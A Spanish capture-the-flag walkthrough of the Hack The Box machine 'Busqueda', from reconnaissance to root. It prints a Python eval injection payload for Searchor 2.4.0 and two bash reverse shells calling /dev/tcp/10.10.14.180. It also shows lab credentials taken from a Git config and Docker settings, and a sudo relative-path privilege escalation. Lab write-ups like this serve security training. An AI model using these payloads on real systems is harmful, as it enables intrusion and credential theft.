Descripción
Busqueda es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Ejecución arbitraria de código mediante un Eval sin sanitizar en Python
- Exposición de datos sensibles
- Descubrimiento de VHOST
- Elevación de privilegios mediante la elusión de las rutas en Python
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.208.
$ ping -c 3 10.10.11.208
PING 10.10.11.208 (10.10.11.208) 56(84) bytes of data.
64 bytes from 10.10.11.208: icmp_seq=1 ttl=63 time=43.8 ms
64 bytes from 10.10.11.208: icmp_seq=2 ttl=63 time=43.8 ms
64 bytes from 10.10.11.208: icmp_seq=3 ttl=63 time=43.3 ms
--- 10.10.11.208 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.335/43.657/43.843/0.229 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.208 -sS -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.208
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.53 seconds
Obtenemos dos puertos abiertos, 22 y 80.
Enumeración (1)
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.208 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.208
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.06 seconds
Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH nos movemos al servicio HTTP. Observamos que el servicio alberga un sitio web http://searcher.htb, por lo que lo añadimos a nuestro archivo local /etc/hosts.
$ echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts
Con WhatWeb podemos comprobar que el servidor está ejecutando una aplicación de Python 3.10.6 usando la biblioteca Werkzeug 2.1.2.
$ whatweb --log-brief web_techs searcher.htb
http://searcher.htb [200 OK] Bootstrap[4.1.3], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.1.2 Python/3.10.6], IP[10.10.11.208], JQuery[3.2.1], Python[3.10.6], Script, Title[Searcher], Werkzeug[2.1.2]
La página web funciona como un motor de búsqueda que le permite buscar un término en muchos motores, obteniendo el enlace para hacer la búsqueda.
Al pie de la página web podemos observar que la página web está utilizando una biblioteca de servidor web Python, Flask, y está utilizando Searchor 2.4.0 para el motor de búsqueda.
Si interceptamos la solicitud del sitio web con Burp Suite vemos la solicitud POST enviada con dos parámetros, el buscador y la consulta. Como respuesta, recibimos el enlace para hacer la búsqueda.

Explotación (1)
Searchor es una biblioteca de Python que permite la generación de URLs de búsqueda. Consultando en la lista de cambios, en la versión 2.4.2f se solucionó una vulnerabilidad discutida en una pull request. En una sección del código de Python una función eval es utilizada. En este caso la función se utiliza para obtener la función del motor de búsqueda específico para utilizar, pero el problema es que la función eval permite la ejecución de comandos arbitrarios. Este es el código vulnerable.
Extracto de código vulnerable:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
El parámetro de consulta es vulnerable, si utilizamos una almohadilla (#) podemos comentar el código restante de la función y cambiarlo al código ejecutable. Este es un ejemplo de carga útil usando un booleano.
Consulta para ignorar el resto de la función:
amazon', True)#
Después de entrar en el parámetro de consulta, el código se verá así.
Código vulnerable después de ser interpretado:
url = eval(
f"Engine.{engine}.search('amazon', True)#', copy_url={copy}, open_web={open})"
)
Al utilizar la almohadilla, el código será interpretado así.
Codigo vulnerable interpretado:
url = eval(
f"Engine.{engine}.search('amazon', True)"
)
Hemos modificado el código interpretado de Python. Podemos cambiar el parámetro booleano al código Python que ejecuta comandos, por ejemplo comando id, para obtener el usuario que ha iniciado sesión.
Comando utilizado para ejecutar el comando id:
amazon',eval("__import__('os').system('id')"))#
El resultado es el nombre del usuario que está ejecutando el servicio Python, svc.
Podemos usar esta expresión para crear una consola inversa. Es importante escapar el símbolo " como \", y el codificar el símbolo & como %26, para que el comando funcione.
Carga utilizada para crear una consola inversa:
amazon',eval("__import__('os').system('bash -c \"bash -i >%26 /dev/tcp/10.10.14.180/1234 0>%261\"')"))#
Antes de ejecutar la solicitud necesitamos haber creado el puerto en escucha en nuestro ordenador. Finalmente obtenemos la consola inversa que tendremos que actualizar.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.180] from (UNKNOWN) [10.10.11.208] 50200
bash: cannot set terminal process group (1670): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
svc@busqueda:/var/www/app$ stty rows 48 columns 156
svc@busqueda:/var/www/app$ export TERM=xterm
svc@busqueda:/var/www/app$ export SHELL=bash
Post-Explotación (1)
Mirando a los usuarios de la consola, sólo encontramos el usuario conectado, svc y root.
svc@busqueda:/var/www/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
svc:x:1000:1000:svc:/home/svc:/bin/bash
El directorio de trabajo es /var/www/app. Al enumerar el contenido del directorio, encontramos que esta carpeta es un repositorio Git, debido a la carpeta .git.
svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Dec 1 14:20 .
drwxr-xr-x 4 root root 4096 Dec 1 14:20 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4096 Dec 1 14:20 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 14:35 templates
Comprobando en el archivo de configuración del repositorio Git vemos las credenciales para el usuario cody, con la contraseña jh1usoih2bkjaspwe92. Y también vemos la URL de un servidor Git, gitea.searcher.htb, teniendo como servidor remoto el repositorio Searcher_site.
svc@busqueda:/var/www/app$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
Vamos a comprobar si el servidor está localizado en esta máquina. Como esta máquina tiene habilitado servidor web Apache, vamos a echar un vistazo a sus archivos de configuración del Virtual Host.
svc@busqueda:/var/www/app$ ls -l /etc/apache2/sites-enabled/
total 0
lrwxrwxrwx 1 root root 35 Dec 1 18:45 000-default.conf -> ../sites-available/000-default.conf
svc@busqueda:/var/www/app$ cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
ProxyPreserveHost On
ServerName searcher.htb
ServerAdmin admin@searcher.htb
ProxyPass / http://127.0.0.1:5000/
ProxyPassReverse / http://127.0.0.1:5000/
RewriteEngine On
RewriteCond %{HTTP_HOST} !^searcher.htb$
RewriteRule /.* http://searcher.htb/ [R]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ProxyPreserveHost On
ServerName gitea.searcher.htb
ServerAdmin admin@searcher.htb
ProxyPass / http://127.0.0.1:3000/
ProxyPassReverse / http://127.0.0.1:3000/
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
## vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Encontramos que el servidor web de Apache está hospedando el servidor web así que agregamos este host a nuestro /etc/hosts.
$ echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts
Antes de navegar por el servidor web verificamos si la contraseña obtenida se reutiliza para la cuenta svc o la cuenta root con el comando su.
svc@busqueda:/var/www/app$ su svc
Password:
svc@busqueda:/var/www/app$ su root
su: Authentication failure
La autenticación para svc es exitosa, por lo que la contraseña se está reutilizando.
Enumeración (2)
Ahora vamos a comprobar las tecnologías del servidor web Git.
$ whatweb --log-brief web_techs_git gitea.searcher.htb
http://gitea.searcher.htb [200 OK] Apache[2.4.52], Cookies[_csrf,i_like_gitea,macaron_flash], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], HttpOnly[_csrf,i_like_gitea,macaron_flash], IP[10.10.11.208], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[Gitea: Git with a cup of tea], X-Frame-Options[SAMEORIGIN]
Vemos que tenemos un servidor web Git Gitea en el que podemos iniciar sesión.
Después de iniciar sesión vemos que sólo tenemos acceso a un repositorio, Searcher_site.
Como tiene el mismo contenido que la carpeta /var/www/app vamos a volver a la terminal para hacer más enumeración.
Post-Explotación (2)
Revisando los comandos usuario svc puede ejecutar como root, encontramos uno, un script Python ubicado en el directorio /opt/scripts.
svc@busqueda:/var/www/app$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
No podemos leer el contenido del script Python ya que los permisos de lectura-escritura solo se permiten para el usuario root. Encontramos en esa carpeta otros scripts.
svc@busqueda:/var/www/app$ ls -l /opt/scripts/
total 16
-rwx--x--x 1 root root 586 Dec 24 21:23 check-ports.py
-rwx--x--x 1 root root 857 Dec 24 21:23 full-checkup.sh
-rwx--x--x 1 root root 3346 Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24 21:23 system-checkup.py
Si ejecutamos el comando, vemos que este script se utiliza para obtener el estado de funcionamiento de los contenedores Docker del sistema.
svc@busqueda:/var/www/app$ sudo python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Ejecutar el script con el argumento docker-ps nos mostrará los contenedores Docker activos.
svc@busqueda:/var/www/app$ sudo python3 /opt/scripts/system-checkup.py docker-ps
[sudo] password for svc:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 months ago Up About an hour 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 months ago Up About an hour 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
Vemos que tenemos el contenedor Gitea y un contenedor de base de datos MySQL corriendo, en los puertos de localhost 3000 y 3306, respectivamente. Con el argumento docker-inspect podemos ver la configuración de los contenedores, que pueden revelar credenciales. Para mostrar la configuración necesitamos especificar una plantilla, en este caso {{ .Config }}.
svc@busqueda:/var/www/app$ sudo python3 /opt/scripts/system-checkup.py docker-inspect "{{ .Config }}" gitea
{960873171e2e false false false map[22/tcp:{} 3000/tcp:{}] false false false [USER_UID=115 USER_GID=121 GITEA__database__DB_TYPE=mysql GITEA__database__HOST=db:3306 GITEA__database__NAME=gitea GITEA__database__USER=gitea GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin USER=git GITEA_CUSTOM=/data/gitea] [/bin/s6-svscan /etc/s6] <nil> false gitea/gitea:latest map[/data:{} /etc/localtime:{} /etc/timezone:{}] [/usr/bin/entrypoint] false [] map[com.docker.compose.config-hash:e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515 com.docker.compose.container-number:1 com.docker.compose.oneoff:False com.docker.compose.project:docker com.docker.compose.project.config_files:docker-compose.yml com.docker.compose.project.working_dir:/root/scripts/docker com.docker.compose.service:server com.docker.compose.version:1.29.2 maintainer:maintainers@gitea.io org.opencontainers.image.created:2022-11-24T13:22:00Z org.opencontainers.image.revision:9bccc60cf51f3b4070f5506b042a3d9a1442c73d org.opencontainers.image.source:https://github.com/go-gitea/gitea.git org.opencontainers.image.url:https://github.com/go-gitea/gitea] <nil> []}
Para el contenedor Gitea, obtenemos las credenciales de la base de datos Gitea, nombre de usuario gitea y contraseña yuiu1hoiu4i5ho1uh.
svc@busqueda:/var/www/app$ sudo python3 /opt/scripts/system-checkup.py docker-inspect "{{ .Config }}" mysql_db
{f84a6b33fb5a false false false map[3306/tcp:{} 33060/tcp:{}] false false false [MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF MYSQL_USER=gitea MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh MYSQL_DATABASE=gitea PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin GOSU_VERSION=1.14 MYSQL_MAJOR=8.0 MYSQL_VERSION=8.0.31-1.el8 MYSQL_SHELL_VERSION=8.0.31-1.el8] [mysqld] <nil> false mysql:8 map[/var/lib/mysql:{}] [docker-entrypoint.sh] false [] map[com.docker.compose.config-hash:1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b com.docker.compose.container-number:1 com.docker.compose.oneoff:False com.docker.compose.project:docker com.docker.compose.project.config_files:docker-compose.yml com.docker.compose.project.working_dir:/root/scripts/docker com.docker.compose.service:db com.docker.compose.version:1.29.2] <nil> []}
Para el contenedor MySQL, además de las otras credenciales, obtenemos las credenciales del usuario root de la base de datos MySQL, con la contraseña jI86kGUuj87guWr3RyF. Tener la contraseña del usuario root nos permitirá entrar en la base de datos para enumerar más usuarios de Gitea.
svc@busqueda:/var/www/app$ mysql -h 127.0.0.1 -u root -p
Enter password:
...
mysql> use gitea;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select lower_name,passwd from user;
+---------------+------------------------------------------------------------------------------------------------------+
| lower_name | passwd |
+---------------+------------------------------------------------------------------------------------------------------+
| administrator | ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 |
| cody | b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e |
+---------------+------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
Conseguimos un usuario para la web de Gitea, administrator, pero la contraseña se encuentra hasheada, por lo que tenemos dos opciones, cambiar el hash o comprobar una reutilización de contraseña. Comprobando la reutilización de contraseñas encontramos que el administrador está usando la contraseña de la base de datos MySQL Gitea, yuiu1hoiu4i5ho1uh. Así que ahora tenemos acceso al repositorio del administrador Git, scripts.
Confirmamos que el nombre de los scripts coincide con los que se encuentran en el directorio /opt/scripts. Cuando ejecutamos el script Python con el tercer argumento, full-checkup, obtenemos un error.
svc@busqueda:/var/www/app$ sudo python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
Como tenemos acceso al código fuente del script Python, vemos lo que está sucediendo en el código.
Parte del código del archivo system-checkup.py:
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
Hay una excepción, porque el script está tratando de cargar el script Bash full-checkup.sh desde el directorio de trabajo ya que no estamos ejecutando el script Python desde el directorio /opt/scripts. Podemos aprovechar esta situación ejecutando un script Bash personalizado con una consola inversa para hacer una escalada de privilegios. Abrimos un puerto de escucha.
$ nc -nvlp 1235
Finalmente, obtenemos una consola inversa usando nuestro archivo full-checkup.sh localizado en un directorio temporal.
svc@busqueda:/var/www/app$ mktemp -d
/tmp/tmp.FDQOTiFkDR
svc@busqueda:/var/www/app$ cd /tmp/tmp.FDQOTiFkDR
svc@busqueda:/tmp/tmp.FDQOTiFkDR$ cat<<EOF>full-checkup.sh
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.14.180/1235 0>&1"
EOF
svc@busqueda:/tmp/tmp.FDQOTiFkDR$ chmod +x full-checkup.sh
svc@busqueda:/tmp/tmp.FDQOTiFkDR$ sudo python3 /opt/scripts/system-checkup.py full-checkup
Obtenemos la consola inversa con permisos de superadministrador.
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.180] from (UNKNOWN) [10.10.11.208] 48522
root@busqueda:/tmp/tmp.FDQOTiFkDR# cat /home/svc/user.txt
cat /home/svc/user.txt
<REDACTED>
root@busqueda:/tmp/tmp.FDQOTiFkDR# cat /root/root.txt
cat /root/root.txt
<REDACTED>